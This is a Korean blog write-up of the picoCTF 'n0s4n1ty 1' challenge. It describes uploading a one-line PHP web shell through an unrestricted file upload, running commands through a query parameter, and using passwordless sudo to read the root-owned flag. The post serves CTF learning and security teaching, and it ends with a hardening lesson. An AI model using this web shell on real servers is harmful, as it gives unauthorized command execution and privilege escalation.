-
[Web Hacking] picoCTF WebShell n0s4n1ty 1Hacking/CTF 문제 풀이 2025. 5. 23. 02:11728x90반응형
1. 시작
이번 문제는 첨부파일로 WebShell 공격을 하는 문제인거 같다.
이거 첫문제 풀때 미리 좀 공부 해놨었는데 잘 풀렸으면 좋겠다.
2. 분석
파일 선택을 누르게 되면 지금 모든 파일이라고 나와 있는걸 볼 수 있다.
이게 취약점이라고 할 수 있다고 봤다.
upload profile 버튼 클릭시 이렇게 새로운 화면으로 이동한다.
network를 보게 되면 지금 해당 웹사이트에 기본적인 정보를 확인할 수 있다.
내가 중요하게 본건 Debian이다.
이건 Linux 배포판 중에 하나라고 알고 있어서 Linux 명령어가 통할거 같다.
일단 파일을 한번 업로드 해봐야겠다.
문구가 바뀌었고 지금 Path가 나오는걸 알 수 있다.
이제 이 Path로 접속해보자.
내가 올린 파일을 그대로 확인이 가능하다.
Spring Framework의 static 폴더가 떠올랐다.
3. 풀이
이제 본격적으로 Web Shell 공격을 해보자.
근데 이렇게 경로/파일.확장자 로 접근 가능한다고 100% WebShell 공격이 가능한것은 아니라고 한다.
그래서 일단 해보는 방법 밖에 없을 것 같다.
우선 엄청 간단하게 php로 웹쉘이 가능한 파일을 만들어준다.
# $_GET['hacking'] = QueryString # system() = 지금 문제에서는 linux 명령어를 실행한다. <?php system($_GET['hacking']); ?>
이 파일을 업로드 하게 되면 어떻게 될까?
잘 업로드 된걸 확인할 수 있다.
Path로 이동하니깐 이런 에러 문구가 나오는데 지금 명령어가 비어있어서 그런거 같으니 명령어를 입력해준다.
WebShell 공격에 성공했다.
이제 문제에서 말한 /root 폴더를 찾아보자.
지금 /root 폴더 안을 좀 보려고 했는데 아무것도 안나온다.
사용자 계정이 뭔지 부터 보자.
root 권한이 없어서 그런가?
/root 폴더는 누가 읽을 수 있나 확인하자.
역시 root 계정만 읽을 수 있다.
그럼 지금 할 수 있는건 sudo를 해보는 방법밖에 떠오르지 않는다.
가끔 docker 쓸때 권한이 없다고 문제가 생기면 마법의 주문인 sudo를 많이 썼었기 때문이다.
지금 이렇게 /root 폴더 안을 확인 가능하다.
마지막에 flag.txt가 있다.
이걸 이제 cat flag.txt 하면 flag 값을 확인할 수 있다.
4. 결론
sudo 사용 시 원래 비밀번호를 입력해야하지만 귀찮아서 풀어둔적이 있다.
귀찮다고 sudo 비밀번호를 그냥 풀어버리면 이런 해킹을 당하기 훨씬 쉬워진다.
728x90반응형'Hacking > CTF 문제 풀이' 카테고리의 다른 글
[A03:2021 - Injection] SQL Injection을 이용한 사용자 계정 정보 탈취 - Blind SQL Injection, General SQL Injection (0) 2025.06.17 [A03:2021 - Injection] Command Injection (Low~High) - PHP (0) 2025.06.15 [Heap Dump Exposure] picoCTF WebShell head-dump (0) 2025.05.23 [Buffer Overflow] picoCTF WebShell PIE TIME (0) 2025.05.22 [A03:2021 – Injection] picoCTF WebShell SSTI1 (0) 2025.05.22